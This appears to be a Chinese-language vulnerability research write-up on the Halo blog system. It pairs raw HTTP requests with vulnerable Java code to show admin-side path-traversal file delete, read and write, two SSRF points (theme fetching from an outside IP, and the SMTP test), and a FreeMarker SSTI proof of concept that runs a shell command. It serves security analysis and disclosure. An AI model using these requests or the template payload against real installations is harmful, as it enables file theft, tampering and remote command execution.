halo项目
博客备份功能(任意文件删除)
删除操作请求内容
DELETE /api/admin/backups/halo?filename=../../../../../../tmp/halotest HTTP/1.1
Host: 172.23.31.34:8090
Admin-Authorization: befcc5eba3924d20863b49236e61733a
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close
修改filename为任意文件地址
@Override
public void deleteHaloBackup(String filename) {
Assert.hasText(filename, "File name must not be blank");
// Get backup path
Path backupPath = Paths.get(halo.getBackupDir(), filename);
try {
// Delete backup file
Files.delete(backupPath);
} catch (NoSuchFileException e) {
throw new NotFoundException("The file " + filename + " was not found", e);
} catch (IOException e) {
throw new ServiceException("Failed to delete backup", e);
}
}
这里可以看出直接对传入的filename做了删除的操作
获得主题内容(任意文件读取)
请求内容
GET /api/admin/themes/iwtwin/files/content?path=%2FUsers%2Fkit%2F.halo%2Ftemplates%2Fthemes%2Fiwtwin%2F../../../../../../tmp/halotest HTTP/1.1
Host: 172.23.31.34:8090
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close
在读取模版内容时会有一个检查函数
private void checkDirectory(@NonNull String themeId, @NonNull String absoluteName) {
ThemeProperty themeProperty = getThemeOfNonNullBy(themeId);
FileUtils.checkDirectoryTraversal(themeProperty.getThemePath(), absoluteName);
}
这里checkDirectoryTraversal存在问题,startsWith只比较了模版储存目录和输入目录的前缀是否相同,所以在后面加…/…/即可任意目录读取
public static void checkDirectoryTraversal(@NonNull Path parentPath, @NonNull Path pathToCheck) {
Assert.notNull(parentPath, "Parent path must not be null");
Assert.notNull(pathToCheck, "Path to check must not be null");
if (pathToCheck.startsWith(parentPath.normalize())) {
return;
}
throw new ForbiddenException("你没有权限访问 " + pathToCheck).setErrorData(pathToCheck);
}
path=/Users/kit/.halo/templates/themes/iwtwin/…/…/…/…/…/…/tmp/halotest成功读取
写入主题(任意文件写入)
PUT /api/admin/themes/iwtwin/files/content HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 5620
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close
{"path":"/Users/kit/.halo/templates/themes/iwtwin/../../../../../../../tmp/halotest","content":"halo test write"}
这里保存函数对于绝对的路径的检查同样采用checkDirectory比较前缀,所以用相同的方式绕过
@Override
public void saveTemplateContent(String themeId, String absolutePath, String content) {
// Check the path
checkDirectory(themeId, absolutePath);
// Write file
Path path = Paths.get(absolutePath);
try {
Files.write(path, content.getBytes(StandardCharsets.UTF_8));
} catch (IOException e) {
throw new ServiceException("保存模板内容失败 " + absolutePath, e);
}
}
成功写入halotest文件
下载主题(SSRF)
public ThemeProperty fetch(String uri) {
Assert.hasText(uri, "Theme remote uri must not be blank");
Path tmpPath = null;
try {
// Create temp path
tmpPath = FileUtils.createTempDirectory();
// Create temp path
Path themeTmpPath = tmpPath.resolve(HaloUtils.randomUUIDWithoutDash());
if (StringUtils.endsWithIgnoreCase(uri, ".zip")) {
downloadZipAndUnzip(uri, themeTmpPath);
} else {
uri = StringUtils.appendIfMissingIgnoreCase(uri, ".git", ".git");
// Clone from git
GitUtils.cloneFromGit(uri, themeTmpPath);
}
return add(themeTmpPath);
} catch (IOException | GitAPIException e) {
throw new ServiceException("主题拉取失败 " + uri, e);
} finally {
FileUtils.deleteFolderQuietly(tmpPath);
}
}
这里直接对传入的uri执行downloadZipAndUnzip函数,所以大概率存在SSRF
POST /api/admin/themes/fetching?uri=https:%2F%2F1.15.178.85:9999%2Fhh.zip HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close
这里验证了SSRF的猜想
SMTP发送邮件(SSRF)
这里设置好目标SMTP的ip地址后发送测试
POST /api/admin/mails/test HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 54
Pragma: no-cache
Cache-Control: no-cache
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close
{"to":"123@gmail.com","subject":"111","content":"111"}
可以看出这里也是存在SSRF的问题
后端实现的代码为
@Override
public void sendMail(String to, String subject, String content) {
loadConfig();
String fromUsername = optionService.getByPropertyOfNonNull(EmailProperties.FROM_NAME).toString();
try {
OhMyEmail.subject(subject)
.from(fromUsername)
.to(to)
.text(content)
.send();
} catch (Exception e) {
log.debug("Email properties: to username: [{}], from username: [{}], subject: [{}], content: [{}]",
to, fromUsername, subject, content);
throw new EmailException("发送邮件到 " + to + " 失败,请检查 SMTP 服务配置是否正确", e);
}
}
保存主题(Freemaker SSTI)
这里的主题的修改界面看到有ftl文件,而且文件的内容可以任意编辑,所以这里存在SSTI漏洞。Freemaker引擎SSTI具体的介绍可以参考https://zhuanlan.zhihu.com/p/250178650。这里使用内建函数new来构造poc。
poc
<#assign value="freemarker.template.utility.Execute"?new()>
${value("touch /tmp/halo_ssti")}
访问404页面后,成功执行命令